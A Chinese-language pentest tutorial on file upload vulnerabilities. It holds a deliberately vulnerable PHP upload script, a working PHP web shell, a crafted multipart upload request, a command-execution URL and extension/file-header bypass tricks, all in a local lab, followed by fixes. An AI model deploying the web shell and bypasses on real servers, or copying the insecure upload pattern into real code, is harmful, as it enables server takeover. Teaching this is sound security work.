一、从渗透一次电商平台说起
有一次在客户的授权测试中,我遇到了一家电商平台。目标站点运行着一套定制化的电商系统,前端看上去就是一个普通的商品展示和结算功能,但在后台管理系统的文件上传功能中,我发现了一个明显的漏洞。这个漏洞最终让我从普通用户权限一路实现了服务器的完整控制,渗透的过程非常有意思,值得一讲。
事情是这样的,在测试中我发现后台的图片上传功能并没有对文件类型和内容进行严格检查。表面上看,它限制了只能上传 .jpg、.png 等图片文件,但实际上仅仅是通过文件扩展名来进行校验。这种低劣的校验方式,正是攻击者的乐园。在不到一小时的时间里,我通过这个漏洞实现了 Web Shell 的上传,并最终取得了服务器的控制权和敏感数据。
接下来,我会从技术细节、漏洞成因、实战利用到一些进阶的绕过技巧,完整讲解如何利用文件上传漏洞实现攻击,希望对你研究漏洞利用有帮助。当然,本文仅供授权的安全测试和学习使用。
---
二、文件上传的漏洞成因
文件上传漏洞的核心问题在于:上传的文件未经严格校验,导致恶意文件可被执行或利用。这类漏洞常出现在图片上传、附件提交、文档上传等功能中,尤其是一些自定义开发的系统,往往对文件验证流程不够严谨。
常见的不安全文件上传实现
以下列举几种常见的错误实现方式:

- 仅校验文件扩展名
很多系统通过前端或者后端简单检查扩展名,比如只允许 .jpg、.png 等后缀。但攻击者完全可以伪造文件名,比如上传一个 shell.php.jpg,而后端却仍将内容当作 PHP 代码处理。
- MIME 类型验证不严谨
有的系统会通过检测文件的 MIME 类型来判断合法性,比如要求文件的 Content-Type 为 image/jpeg 或 image/png。但 MIME 类型同样可以在请求头中轻松伪造。
- 未对文件内容进行深度分析
系统可能根本不去检查上传文件的实际内容,而是直接存储到服务器上。攻击者可以上传伪装成图片的恶意文件,比如一个带有 PHP 代码的图片。
- 存储路径可控
如果上传文件存放在可被直接访问的目录中(如 wwwroot/uploads),攻击者可以通过构造恶意文件,直接访问并触发执行。
- 文件解析漏洞
某些服务器软件(如老版本的 Apache 和 IIS)在解析文件路径时存在漏洞,可能会错误地解析文件后缀,导致攻击者的恶意代码被执行。
这些漏洞的存在,给了攻击者可乘之机。接下来,我们进入实战部分,看看如何利用这些漏洞实现攻击。
---
三、搭建靶场环境模拟漏洞
为了复现文件上传漏洞的利用过程,我们首先需要搭建一个靶场环境。我选择了一个自建的 PHP 演示程序,代码非常简短,但能完美复现文件上传漏洞的常见成因。
靶场代码示例
以下是一段存在文件上传漏洞的 PHP 代码:
<pre><code class="language-php"><?php // 文件上传处理逻辑 if ($_SERVER['REQUEST_METHOD'] === 'POST') { $upload_dir = __DIR__ . '/uploads/'; $file_name = $_FILES['file']['name']; $tmp_name = $_FILES['file']['tmp_name'];
// 检查文件扩展名是否合法 $allowed_ext = ['jpg', 'png', 'gif']; $ext = pathinfo($file_name, PATHINFO_EXTENSION);
if (!in_array($ext, $allowed_ext)) { die("Invalid file type."); }
// 将文件保存到上传目录 $destination = $upload_dir . $file_name; if (move_uploaded_file($tmp_name, $destination)) { echo "File uploaded successfully: $destination"; } else { echo "File upload failed."; } } ?></code></pre>
环境搭建步骤
- 安装 Apache 和 PHP(推荐使用 Docker 快速运行):
<pre><code class="language-bash"> docker run -d -p 8080:80 --name file_upload_env -v $(pwd):/var/www/html php:7.4-apache ` 将上面的代码保存为 upload.php,放到当前目录。
- 创建
uploads目录,并赋予写权限:
`bash mkdir uploads chmod 777 uploads `
- 访问
http://localhost:8080/upload.php,即可看到上传页面。
---
四、从图片上传到 Web Shell:实战过程
构造恶意文件
为了利用这个漏洞,我们需要构造一个伪装的恶意文件。以下是一个简单的 PHP Web Shell: </code></pre>php <?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?> <pre><code> 将上述代码保存为 shell.php。为了绕过扩展名检查,我们将文件重命名为 shell.php.jpg。
上传恶意文件
通过工具(如 Burp Suite)捕获上传请求,并对传输内容进行修改。以下是上传的 HTTP 请求示例: </code></pre> POST /upload.php HTTP/1.1 Host: localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary Content-Length: 1234
------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php.jpg" Content-Type: image/jpeg
<?php if (isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?> ------WebKitFormBoundary-- <pre><code> 上传完成后,文件将存储在 uploads/ 目录下。我们可以通过访问 http://localhost:8080/uploads/shell.php.jpg 来测试文件是否生效。
执行命令
一旦上传成功,攻击者即可通过 Web Shell 执行任意命令。例如,访问以下 URL 执行 whoami 命令:</code></pre> http://localhost:8080/uploads/shell.php.jpg?cmd=whoami <pre><code> ---

五、进阶绕过技巧
在实际渗透中,很多系统会对上传逻辑做进一步的限制,比如 MIME 类型验证、内容过滤、文件头检查等。以下是一些常用的绕过技巧:
1. 修改文件头
即使服务器检查文件内容,我们仍可以通过混淆的方法上传恶意文件。例如,在 PHP Web Shell 的开头加上图片的文件头:</code></pre>php <?php / GIF89a / if (isset($_REQUEST['cmd'])) { echo "<pre>"; system($_REQUEST['cmd']); echo "</pre>"; } ?> `
这段代码伪装成了一个合法的 GIF 文件,但仍然能够执行 PHP 代码。
2. 双扩展名绕过
有的服务器会错误解析文件路径,上传 shell.php.jpg 时可能被识别为 PHP 文件。
3. 扩展名白名单绕过
上传文件时,将恶意代码嵌入支持解析的文件类型中(如 .phar、.phtml)。
---
六、检测与修复建议
作为红队,我们需要清楚漏洞的修复方案,以便在后续测试中验证补丁的有效性:
- 严格验证文件内容:通过文件头(Magic Number)验证上传文件的真实类型。
- 限制上传目录的执行权限:确保上传的文件无法直接执行。
- 文件名随机化处理:上传后重命名文件,避免攻击者猜测文件路径。
- 使用安全库:优先选择成熟的文件上传库处理用户上传的文件。
---

七、关于文件上传漏洞的思考
在这个案例中,我通过一个看似简单的文件上传功能,迅速接管了服务器。这类漏洞虽然表面上很基础,但在实际渗透中非常常见。作为攻击者,我们需要从更多的角度去思考如何绕过防御,而作为防御者,则需要更全面地理解攻击手段,提前布防。
文件上传漏洞的利用是一门艺术,灵活性极高,同时也非常考验系统的安全设计。希望今天的分享让你对这种漏洞有更深刻的认识。如果你在测试中遇到类似的漏洞,记得要有授权哦!